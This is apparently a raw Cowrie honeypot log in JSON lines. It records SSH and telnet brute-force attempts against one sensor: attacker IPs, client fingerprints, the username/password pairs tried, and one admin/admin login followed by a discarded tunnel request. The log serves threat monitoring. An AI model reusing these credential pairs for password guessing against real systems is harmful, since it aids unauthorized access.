{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:38.057886Z","src_ip":"45.61.148.179","session":"b711211f1691","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd!!","message":"login attempt [root/Passw0rd!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:38.351635Z","src_ip":"45.61.148.179","session":"b711211f1691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:39.419688Z","src_ip":"45.61.148.179","session":"b711211f1691","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":20334,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f4edffde12c","protocol":"ssh","message":"New connection: 194.59.206.2:20334 (159.203.135.109:22) [session: 2f4edffde12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:01.490434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:01.498654Z","src_ip":"194.59.206.2","session":"2f4edffde12c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:01.585860Z","src_ip":"194.59.206.2","session":"2f4edffde12c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:01.683456Z","src_ip":"194.59.206.2","session":"2f4edffde12c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44106,"dst_ip":"159.203.135.109","dst_port":23,"session":"299ad63a94a2","protocol":"telnet","message":"New connection: 170.64.224.25:44106 (159.203.135.109:23) [session: 299ad63a94a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:06.791233Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":45498,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb408b6e6a08","protocol":"telnet","message":"New connection: 137.184.5.188:45498 (159.203.135.109:23) [session: eb408b6e6a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:18.587333Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":46682,"dst_ip":"159.203.135.109","dst_port":23,"session":"db4c67182688","protocol":"telnet","message":"New connection: 137.184.5.188:46682 (159.203.135.109:23) [session: db4c67182688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:28.580688Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.61.95","src_port":50886,"dst_ip":"10.17.0.5","dst_port":22,"session":"7aa98580a6cd","protocol":"ssh","message":"New connection: 162.144.61.95:50886 (10.17.0.5:22) [session: 7aa98580a6cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:30.819694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:30.825130Z","src_ip":"162.144.61.95","session":"7aa98580a6cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:30.911397Z","src_ip":"162.144.61.95","session":"7aa98580a6cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"polygon456","message":"login attempt [root/polygon456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:31.159106Z","src_ip":"162.144.61.95","session":"7aa98580a6cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:32.243827Z","src_ip":"162.144.61.95","session":"7aa98580a6cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.105.39","src_port":58490,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee8ac4a77014","protocol":"ssh","message":"New connection: 162.144.105.39:58490 (10.17.0.5:22) [session: ee8ac4a77014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:34.121016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:34.125057Z","src_ip":"162.144.105.39","session":"ee8ac4a77014","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:34.206972Z","src_ip":"162.144.105.39","session":"ee8ac4a77014","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huobi","password":"S3cur3$P@ss!W0rd^","message":"login attempt [huobi/S3cur3$P@ss!W0rd^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:34.458109Z","src_ip":"162.144.105.39","session":"ee8ac4a77014","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":56890,"dst_ip":"159.203.135.109","dst_port":22,"session":"5363ada47a17","protocol":"ssh","message":"New connection: 176.53.159.196:56890 (159.203.135.109:22) [session: 5363ada47a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:37.138149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:37.141345Z","src_ip":"176.53.159.196","session":"5363ada47a17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:37.242553Z","src_ip":"176.53.159.196","session":"5363ada47a17","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:37.544526Z","src_ip":"176.53.159.196","session":"5363ada47a17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:37.646905Z","session":"5363ada47a17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:37.751623Z","src_ip":"176.53.159.196","session":"5363ada47a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:37.861365Z","src_ip":"176.53.159.196","session":"5363ada47a17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.198.253","src_port":58042,"dst_ip":"159.203.135.109","dst_port":22,"session":"357d0bc56b51","protocol":"ssh","message":"New connection: 103.86.198.253:58042 (159.203.135.109:22) [session: 357d0bc56b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:43.222726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:43.225979Z","src_ip":"103.86.198.253","session":"357d0bc56b51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:43.491862Z","src_ip":"103.86.198.253","session":"357d0bc56b51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:44.347004Z","src_ip":"162.144.105.39","session":"ee8ac4a77014","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"No01@DonTKeepKPX_","message":"login attempt [root/No01@DonTKeepKPX_] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:44.579888Z","src_ip":"103.86.198.253","session":"357d0bc56b51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:45.852562Z","src_ip":"103.86.198.253","session":"357d0bc56b51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.113.139.51","src_port":48232,"dst_ip":"159.203.135.109","dst_port":22,"session":"30d142722065","protocol":"ssh","message":"New connection: 185.113.139.51:48232 (159.203.135.109:22) [session: 30d142722065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:49.175136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:49.179031Z","src_ip":"185.113.139.51","session":"30d142722065","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:49.288741Z","src_ip":"185.113.139.51","session":"30d142722065","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd!!","message":"login attempt [root/Passw0rd!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:49.722926Z","src_ip":"185.113.139.51","session":"30d142722065","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:22:50.826126Z","src_ip":"185.113.139.51","session":"30d142722065","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.91002941131592,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:23:02.497212Z","src_ip":"137.184.5.188","session":"eb408b6e6a08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":33650,"dst_ip":"159.203.135.109","dst_port":22,"session":"f145041ecaa7","protocol":"ssh","message":"New connection: 177.76.134.52:33650 (159.203.135.109:22) [session: f145041ecaa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:23:02.598183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:23:02.658777Z","src_ip":"177.76.134.52","session":"f145041ecaa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:23:02.787854Z","src_ip":"177.76.134.52","session":"f145041ecaa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"P@ssw0rd1!","message":"login attempt [user/P@ssw0rd1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:23:03.357946Z","src_ip":"177.76.134.52","session":"f145041ecaa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:23:04.562775Z","src_ip":"177.76.134.52","session":"f145041ecaa7","protocol":"ssh"}
